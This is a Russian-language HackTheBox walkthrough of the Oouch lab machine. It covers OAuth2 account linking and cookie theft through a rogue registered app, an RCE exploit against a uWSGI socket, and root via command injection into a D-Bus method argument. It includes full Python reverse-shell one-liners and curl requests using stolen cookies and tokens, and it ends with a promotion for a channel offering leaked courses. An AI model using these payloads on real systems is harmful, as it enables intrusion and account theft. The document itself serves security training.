HackTheBox. Прохождение Oouch. OAuth2, RCE в uWSGI и LPE через DBUS
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье разберем атаку на OAuth2 аутентификацию через, а также зарегистрируем свое приложение для угона куки администратора. В добавок к этому, проэксплуатируем RCE в веб-сервере и сервере веб-приложений uWSGI, а также повысим привилегии через шину сообщений D-Bus.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.177, который я добавляю в /etc/hosts.
10.10.10.177 oouch.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap«ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A oouch.htb -p8000,22,21,5000,5555
Таким образом, имеем:
— Порт 22 — SSH.
— Порт 8000 — отвечающий кодом 400 веб-сервер.
— Порт 5000 — веб-сервер, редирект на страницу авторизации.
— Порт 21 — FTP, на котором расположен файл project.txt, доступный с авторизацией от anonymous.
Зайдем на FTP как anonymous, скачаем файл и посмотрим.
Ничего нам не говорит. Идем на веб-сервер.
Как и следовало из отчета nmap, происходит редирект на страницу авторизации. Есть возможность регистрации, давайте зарегистрируемся, а потом авторизуемся.
Таким образом, сайт находится на стадии разработки, хранит минимум информации о пользователях, имеет возможность хранить документы (данная опция доступна только разработчику), а также имеет обратную связь с администраций. Нас уверяют, что сисадмин читает все сообщения.
При попытке угнать куки, тег был заблокирован, (кстати уже не блокируется).
Не найдя никакого вектора, было решено просканировать директории.
dirb http://oouch.htb:5000/
И находим одну скрытую директорию oauth.
Давайте добавим данный домен в /etc/hosts.10.10.10.177 consumer.oouch.htb
Но происходит редирект. Давайте добавим и этот домен в /etc/hosts.10.10.10.177 authorization.oouch.htb
Снова встречает страница авторизации. Авторизуемся с прежними учетными данными. Но при новой попытке, нас перебрасывает на 8000 порт.
consumer.oouch.htb:5000/oauth/connect → authorization.oouch.htb:8000/login/
Сразу просканировав директории, не находим ничего интересного, поэтому регистрируемся и здесь.
И находим новую директорию, которую не нашел dirb. Давайте проведем поиск в ней.
dirb http://authorization.oouch.htb:8000/oauth
Есть еще одна директория! Но там нас встречает HTTP аутентификация.
Делаем и в этой директории.
dirb http://authorization.oouch.htb:8000/oauth/applications/
Скорее всего в этой директории находятся приложения, причем их можно регистрировать. Больше ничего интересного здесь не находим.
Зарегистрировавшись везде, где было необходимо возвращаемся е первоначальному коннекту. Используется OAuth аутентификация.
OAuth аутентификация
OAuth — открытый протокол авторизации, который позволяет предоставить третьей стороне ограниченный доступ к защищённым ресурсам пользователя без необходимости передавать ей (третьей стороне) логин и пароль.
В OAuth используются три вида полномочий: учётные данные клиента (client credentials), временные учётные данные (temporary credentials) и токены (token credentials).
Шаги протокола OAuth 2.0:
1. Приложение запрашивает авторизацию для доступа к ресурсам сервиса от пользователя. Приложение должно предоставить идентификатор клиента (client ID), секрет клиента (client secret), URI перенаправления (redirect URI) и необходимые области для доступа.
2. Если пользователь авторизует запрос, приложение получает authorization grant.
3. Приложение запрашивает токен доступа с сервера авторизации, предоставляя аутентификацию личности и разрешение на авторизацию.
4. Если идентификация приложения аутентифицирована, а разрешение авторизации является действительным, сервер авторизации выдает токен доступа (одноразовый код). Авторизация завершена.
5. Приложение запрашивает ресурс у сервера ресурсов и предоставляет токен доступа для аутентификации.
6. Если токен доступа действителен, сервер ресурсов передает ресурс приложению.
Таким образом происходит связь учетной записи пользователя с определенными ресурсами на сервере ресурсов.
Атака на Oauth
На данный протокол может быть произведена атака, которая позволяет связать нашу учетную запись с ресурсами другого пользователя. Для этого нужно не использовать свой одноразовый токен доступа, а заставить другого пользователя передать его на сервер. Тогда учетная запись, которая владеет токеном, будет связана с ресурсами учетной записи, предоставившей его.
Так как сисадмин отвечает на все сообщения, то возможно он перейдет по ссылке, которую мы ему отправим. К тому же, в данном приложении токен доступа передается не в HTTP заголовке (как должно быть), а в параметре URL. Таким образом мы можем провести данную атаку.
Переходим по consumer.oouch.htb:5000/oauth/connect и отлавливаем с помощью Burp Suite.
Пропускаем данный запрос, и нас перенаправляют, причем с параметров client ID.
Пропускаем и этот запрос. Снова следует перенаправление, где можем наблюдать другие параметры протокола аутентификации.
Вновь пропускаем запрос. На странице появляется окно авторизации. Чтобы закончить нажимаем на кнопку авторизации.
Пропускаем данный запрос. И вот нас снова перенаправляют, причем в качестве параметра следует одноразовый код!
Сохраним данный токен и отбросим запрос. Давайте оправим администратору данную ссылку, чтобы когда он по ней перешел, наша учетная запись была привязана к его ресурсам (а если вспомнить — он имеет право хранить документы).
Теперь пройдем по consumer.oouch.htb:5000/oauth/login.
Нажимаем на уже знакомую кнопку, и в открывшейся странице наблюдаем профиль пользователя qtc.
Давайте посмотрим документы.
Есть записи про про SSH ключ, пользовательский каталог, и учетные данные для регистрации приложений.
Entry Point
Если мы сможем зарегистрировать свое приложение, то сможем вынудить администратора перейти на него и узнать его куки!
Давайте вернемся на страницу регистрации приложений и авторизуемся. И в открывшейся форме зарегистрируем новое приложение, указав публичный тип клиента, кодовый тип гранта авторизации и укажем открытый на локальном хосте порт для подключения.
Сохраняем себе client ID и client secret. Давайте попробуем авторизоваться сами, чтобы проверить, что аутентификация работает и пользователь будет перенаправлен к нам.
Давайте сформируем ссылку, в соответствующих параметрах указываем данные зарегистрированного приложения:
authorization.oouch.htb:8000/oauth/authorize/? client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&redirect_uri=http://10.10.14.203:4321&grant_type=authorization_code&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4×1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6
Теперь перейдем по ней и увидим подключение.
Так как все работает, отправим ее администратору.
Таким образом мы узнаем его куки. Давайте применим их.
И мы авторизованы на сервере как qtc.
USER
Чтобы обратиться к ресурсу, нам нужен токен, а чтобы сервер его нам вернул, изменим тип гранта авторизации на client_credentials.
И запросим токен с помощью curl: установим метод POST (-X), необходимые заголовки HTTP (-H), cookie, данные, которые хотим отправить, а также разрешим редирект (-L). Так как ответ возвращается в формате JSON, то используем jq, чтобы красиво отобразить ответ.
curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H "Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data "grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq
Получаем токен. И теперь мы можем обратиться к ресурсу, который значился в документах. Сделаем это также с помощью curl.
curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq
Как и ожидалось, мы получаем информацию о пользователе. А вот что делать дальше я не знал! Догадка пришла, лишь когда мне намекнули «API для получения данных пользователя готово, а вот в планах еще для получения SSH ключа». Тогда я подумал, что по аналогии с API get_user для получения информации о пользователе, нужно попробовать обратиться у get_ssh.
curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq
И получаем ключ пользователя qtc. Приведя его в нормальный вид, подключаемся к хосту и берем пользователя.
ROOT
Для recon«a на хосте запустим LinPEAS. В итоге находим записку, оставленную рутом.
И помимо того, что на хосте работает docker, и приватного ssh ключа, ничего не находим.
Скорее всего вектор атаки — это зайти на docker. К тому же в записке упоминаются DBus и iptables. Про iptables и так все знают, а вот DBus — другое дело. Dbus или Desktop Bus — это система, которая используется в основном в операционной системе Linux для того, чтобы различные приложения и сервисы могли общаться между собой.
Давай посмотрим найденные сетевые интерфейсы.
И видим 2 хоста. На первый же получилось зайти.
И находим директорию /code.
В start.sh находим использование uwsgi.
И в routes.py находим использование dbus.
Таким образом пользователь службы имеет право на использование dbus. То есть нам нужно получить шелл.
uWSGI — веб-сервер и сервер веб-приложений, первоначально реализованный для запуска приложений Python через протокол WSGI. Используется для запуска приложений на базе фреймворков Django, Flask и других. Поищем эксплоиты.
Скачиваем самый первый и загружаем на хост.
scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/
Запустим.
Таким образом нам нужен uwsgi сокет. Причем служба в данный момент работает.
Значит и сокет будет в директории tmp.
Давайте запустим эксплоит со всеми параметрами.
Выдает ошибку при импорте bytes, зайдем и поменяем исходный код.
Если снова запустить эксплоит, он отрабоет, но шела не будет. Я заменил bash шелл на python. Это сработало.
python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
В терминале с неткатом видим подключение.
И вот теперь у нас есть права на запуск dbus. Команда dbus-send используется для отправки сообщения на шину сообщений D-Bus. Существует две общеизвестные шины сообщений: общесистемная (system) шина сообщений и шина сообщений для сеанса (session) входа пользователя в систему. Для использования dbus-send нужно знать «имя соединения», которое указывается в параметре --dest. Путь к объекту и имя сообщения для отправки должны быть всегда указаны. Следующие аргументы, если таковые имеются, являются содержимым сообщения (аргументы сообщения). Они даются в виде имени типа, двоеточия, а затем значения аргумента. Возможные имена типов: string, int32, uint32, double, byte, boolean.
Пример команды:
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:; SHELL”
Используем --print-reply чтобы заблокировать ответ на запрос.
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"
И видим успешное подключение.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.